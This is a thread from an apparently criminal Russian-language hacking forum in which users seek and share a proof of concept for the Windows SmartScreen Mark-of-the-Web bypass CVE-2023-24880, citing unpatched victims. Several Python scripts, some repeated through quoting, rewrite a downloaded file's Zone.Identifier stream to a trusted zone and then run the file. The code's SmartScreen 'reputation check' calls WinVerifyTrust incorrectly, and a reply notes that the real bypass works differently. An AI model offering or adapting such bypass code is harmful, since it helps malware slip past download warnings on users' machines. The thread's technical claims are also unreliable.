• XSS.stack #1 – первый литературный журнал от юзеров форума

CVE-2023-24880

kosok11

RAT
Пользователь
Регистрация
12.03.2019
Сообщения
795
Решения
1
Реакции
793
Гарант сделки
6
Депозит
0.0022
Поделитесь PoC, пока еще не все винду обновили :D
 
CVE-2023-24880: Windows SmartScreen Security Feature Bypass vulnerability. An attacker could craft a malicious file that would evade Mark of the Web (MOTW) defenses, resulting in a limited loss of integrity and availability of security features such as Protected View in Microsoft Office, which rely on MOTW tagging. Reportedly , this vulnerability was used in ransomware related attacks.

MOTW, the technology that ensures Windows pops a warning message when trying to open a file downloaded from the Internet makes another comeback . The MOTW is an attribute added to files by Windows when they have been sourced from an untrusted location, like the internet or a Restricted Zone. When you download a file from the internet, Windows adds the zone identifier or Mark of the Web as an NTFS stream to the file. And, when you run the file, Windows SmartScreen checks if there is a zone identifier Alternate Data Stream (ADS) attached to the file. If the ADS indicates ZoneId=3, which means that the file was downloaded from the internet, the SmartScreen does a reputation check.

hmm looks nice))
 
Этот код использует функцию из WINDOWS API для выполнения проверки репутации с помощью SmartScreen. Функция принимает путь к файлу в виде строки Юникода и возвращает код результата, указывающий, имеет ли файл хорошую или плохую репутацию.

Python:
import os
import ctypes

filepath = "C:\\Downloads\\file.exe"

if os.path.isfile(filepath+":Zone.Identifier"):
    with open(filepath+":Zone.Identifier", "r") as f:
        contents = f.read()
        if "ZoneId=3" in contents:
            print("File was downloaded from the internet.")
            
            # Perform reputation check with SmartScreen using Windows API
            url = ctypes.create_unicode_buffer(filepath)
            result = ctypes.windll.wintrust.WinVerifyTrust(None, ctypes.byref(ctypes.c_wchar_p(url)), None, None, None, None)
            if result == 0:
                print("File has a good reputation.")
            else:
                print("File has a bad reputation.")
                
        else:
            print("File was not downloaded from the internet.")
else:
    print("Zone.Identifier attribute not found for file.")

Обход защиты MOTW

Python:
import os
import ctypes

filepath = "C:\\Downloads\\file.exe"

if os.path.isfile(filepath+":Zone.Identifier"):
    with open(filepath+":Zone.Identifier", "w") as f:
        f.write("[ZoneTransfer]\nZoneId=1")
    os.startfile(filepath)
else:
    os.startfile(filepath)

Комбинированный
Python:
import os
import ctypes

filepath = "C:\\Downloads\\file.exe"

if os.path.isfile(filepath+":Zone.Identifier"):
    with open(filepath+":Zone.Identifier", "r") as f:
        contents = f.read()
        if "ZoneId=3" in contents:
            print("File was downloaded from the internet.")
            with open(filepath+":Zone.Identifier", "w") as f:
                f.write("[ZoneTransfer]\nZoneId=1")
            # Perform reputation check with SmartScreen using Windows API
            url = ctypes.create_unicode_buffer(filepath)
            result = ctypes.windll.wintrust.WinVerifyTrust(None, ctypes.byref(ctypes.c_wchar_p(url)), None, None, None, None)
            if result == 0:
                print("File has a good reputation.")
            else:
                print("File has a bad reputation.")
        else:
            print("File was not downloaded from the internet.")
else:
    os.startfile(filepath)

Другие варианты не вижу, либо не знаю. Не кусайте, у меня нет код для проверки репутации.

Возможный POC:)
Python:
# POC script to bypass SmartScreen
import os
import ctypes

filepath = "C:\\Downloads\\file.txt"

if os.path.isfile(filepath+":Zone.Identifier"):
    with open(filepath+":Zone.Identifier", "r") as f:
        contents = f.read()
        if "ZoneId=3" in contents:
            print("File was downloaded from the internet.")
            with open(filepath+":Zone.Identifier", "w") as f:
                f.write("[ZoneTransfer]\nZoneId=1")
            # Perform reputation check with SmartScreen using Windows API
            url = ctypes.create_unicode_buffer(filepath)
            result = ctypes.windll.wintrust.WinVerifyTrust(None, ctypes.byref(ctypes.c_wchar_p(url)), None, None, None, None)
            if result == 0:
                print("File has a good reputation.")
            else:
                print("File has a bad reputation.")
        else:
            print("File was not downloaded from the internet.")
else:
    os.startfile(filepath)
 
Этот код использует функцию из WINDOWS API для выполнения проверки репутации с помощью SmartScreen. Функция принимает путь к файлу в виде строки Юникода и возвращает код результата, указывающий, имеет ли файл хорошую или плохую репутацию.

Python:
import os
import ctypes

filepath = "C:\\Downloads\\file.exe"

if os.path.isfile(filepath+":Zone.Identifier"):
    with open(filepath+":Zone.Identifier", "r") as f:
        contents = f.read()
        if "ZoneId=3" in contents:
            print("File was downloaded from the internet.")
          
            # Perform reputation check with SmartScreen using Windows API
            url = ctypes.create_unicode_buffer(filepath)
            result = ctypes.windll.wintrust.WinVerifyTrust(None, ctypes.byref(ctypes.c_wchar_p(url)), None, None, None, None)
            if result == 0:
                print("File has a good reputation.")
            else:
                print("File has a bad reputation.")
              
        else:
            print("File was not downloaded from the internet.")
else:
    print("Zone.Identifier attribute not found for file.")

Обход защиты MOTW

Python:
import os
import ctypes

filepath = "C:\\Downloads\\file.exe"

if os.path.isfile(filepath+":Zone.Identifier"):
    with open(filepath+":Zone.Identifier", "w") as f:
        f.write("[ZoneTransfer]\nZoneId=1")
    os.startfile(filepath)
else:
    os.startfile(filepath)

Комбинированный
Python:
import os
import ctypes

filepath = "C:\\Downloads\\file.exe"

if os.path.isfile(filepath+":Zone.Identifier"):
    with open(filepath+":Zone.Identifier", "r") as f:
        contents = f.read()
        if "ZoneId=3" in contents:
            print("File was downloaded from the internet.")
            with open(filepath+":Zone.Identifier", "w") as f:
                f.write("[ZoneTransfer]\nZoneId=1")
            # Perform reputation check with SmartScreen using Windows API
            url = ctypes.create_unicode_buffer(filepath)
            result = ctypes.windll.wintrust.WinVerifyTrust(None, ctypes.byref(ctypes.c_wchar_p(url)), None, None, None, None)
            if result == 0:
                print("File has a good reputation.")
            else:
                print("File has a bad reputation.")
        else:
            print("File was not downloaded from the internet.")
else:
    os.startfile(filepath)

Другие варианты не вижу, либо не знаю. Не кусайте, у меня нет код для проверки репутации.

Возможный POC:)
Python:
# POC script to bypass SmartScreen
import os
import ctypes

filepath = "C:\\Downloads\\file.txt"

if os.path.isfile(filepath+":Zone.Identifier"):
    with open(filepath+":Zone.Identifier", "r") as f:
        contents = f.read()
        if "ZoneId=3" in contents:
            print("File was downloaded from the internet.")
            with open(filepath+":Zone.Identifier", "w") as f:
                f.write("[ZoneTransfer]\nZoneId=1")
            # Perform reputation check with SmartScreen using Windows API
            url = ctypes.create_unicode_buffer(filepath)
            result = ctypes.windll.wintrust.WinVerifyTrust(None, ctypes.byref(ctypes.c_wchar_p(url)), None, None, None, None)
            if result == 0:
                print("File has a good reputation.")
            else:
                print("File has a bad reputation.")
        else:
            print("File was not downloaded from the internet.")
else:
    os.startfile(filepath)
Будет хорошо если вставишь 5 копеек. weaver
Спасибо
 
Этот код использует функцию из WINDOWS API для выполнения проверки репутации с помощью SmartScreen. Функция принимает путь к файлу в виде строки Юникода и возвращает код результата, указывающий, имеет ли файл хорошую или плохую репутацию.
Там суть в другом. Надо подписать файл так, что smartscreen при попытке его проверить критует и пропускает как доверенный.
 
Там суть в другом. Надо подписать файл так, что smartscreen при попытке его проверить критует и пропускает как доверенный.
все верно, забыл указать про подпись файла
 
Ждём, как местные супер-кодеры скинут готовую реализацию. DildoFagins помоги. и пацанов зови сюда.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх